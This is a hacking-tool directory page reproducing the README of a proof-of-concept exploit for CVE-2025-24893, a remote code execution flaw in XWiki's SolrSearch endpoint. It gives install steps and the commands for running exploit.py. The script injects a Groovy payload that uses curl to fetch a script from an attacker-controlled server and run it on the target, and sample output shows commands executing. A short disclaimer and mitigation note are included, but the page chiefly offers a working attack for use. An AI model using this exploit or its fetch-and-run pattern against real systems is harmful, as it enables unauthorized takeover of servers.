Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
xwiki-cve-2025-24893-poc — PoC for CVE-2025-24893 | Kitploit
Tools/GitHubGitHub/570rmbr3ak3r/xwiki-cve-2025-24893-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHub570rmbr3ak3r/xwiki-cve-2025-24893-poc

xwiki-cve-2025-24893-poc

PoC for CVE-2025-24893

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
3141 year agoNot yet reviewed
Share

XWiki RCE Exploit PoC (CVE-2025-24893)

Overview

This repository contains a Proof of Concept (PoC) exploit for the XWiki Remote Code Execution (RCE) vulnerability identified as CVE-2025-24893. The vulnerability allows an attacker to execute arbitrary code on a target XWiki instance by leveraging a crafted request to the SolrSearch endpoint. This script supports both HTTP and HTTPS targets.

⚠️ Disclaimer: This PoC is intended for educational and research purposes only. Unauthorized use of this code against systems without explicit permission is illegal and unethical. Always obtain proper authorization before testing any system.

Vulnerability Details

  • CVE ID: CVE-2025-24893
  • Affected Component: XWiki SolrSearch endpoint
  • Impact: Remote Code Execution (RCE)
  • Advisory: GitHub Security Advisory

The vulnerability arises due to improper handling of user input in the SolrSearch endpoint, allowing the injection of Groovy code via a crafted payload. This PoC demonstrates how an attacker can exploit this to execute arbitrary commands on the target server.

Prerequisites

  • Python 3.x
  • Required Python libraries: requests, argparse, , ,
Download Tool
urllib.parse
re
html
  • A target XWiki instance vulnerable to CVE-2025-24893
  • An attacker-controlled server to host the bash script, accessible via HTTP or HTTPS
  • A file containing the code to be executed on the target
  • Installation

    1. Clone this repository:
      root@kitploit:~
      git clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
      
    2. Install the required Python libraries:
      root@kitploit:~
      pip install requests
      

    Usage

    The script sends a crafted HTTP/HTTPS request to the target XWiki instance, injecting a Groovy payload that executes a curl command to fetch and run a file from an attacker-controlled server.

    Run the script with the following command:

    root@kitploit:~
    python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
    

    Arguments

    • --url: The base URL of the target XWiki instance (e.g., http://target or https://target).
    • --server: The IP or hostname of the attacker’s server, including the port if needed (e.g., 192.168.1.100:8080). Supports both HTTP and HTTPS.
    • --file: The name of the file on the attacker’s server containing the code to be executed (e.g., exploit.sh).
    • --no-verify: Optional flag to disable SSL verification for HTTPS targets (use with caution, for testing only).

    Example

    root@kitploit:~
    python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
    

    To bypass SSL verification (e.g., for self-signed certificates):

    root@kitploit:~
    python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
    

    This will:

    1. Construct a payload that uses the Groovy script to execute a curl command.
    2. Fetch the specified file (exploit.sh) from the attacker’s server (http(s)://192.168.1.100:8080).
    3. Execute the fetched file on the target system.
    4. Extract and display the output, cleaning up any HTML tags and entities.

    Output

    The script extracts the response from the target, removes HTML tags (e.g., <br/>, <del>), and converts HTML entities to plain text for readability. The cleaned output is printed to the console.

    Sample

    root@kitploit:~
    python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh 
    uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
    

    Limitations

    • The target XWiki instance must be vulnerable to CVE-2025-24893.
    • The attacker’s server must be accessible from the target system via HTTP or HTTPS.
    • The script assumes the target server supports the SolrSearch endpoint and Groovy execution.

    Mitigation

    To protect against this vulnerability:

    • Update XWiki to the latest patched version.
    • Refer to the GitHub Security Advisory for detailed mitigation steps.
    • Blog to refer CVE-2025-24893

    License

    This project is licensed under the MIT License. See the LICENSE file for details.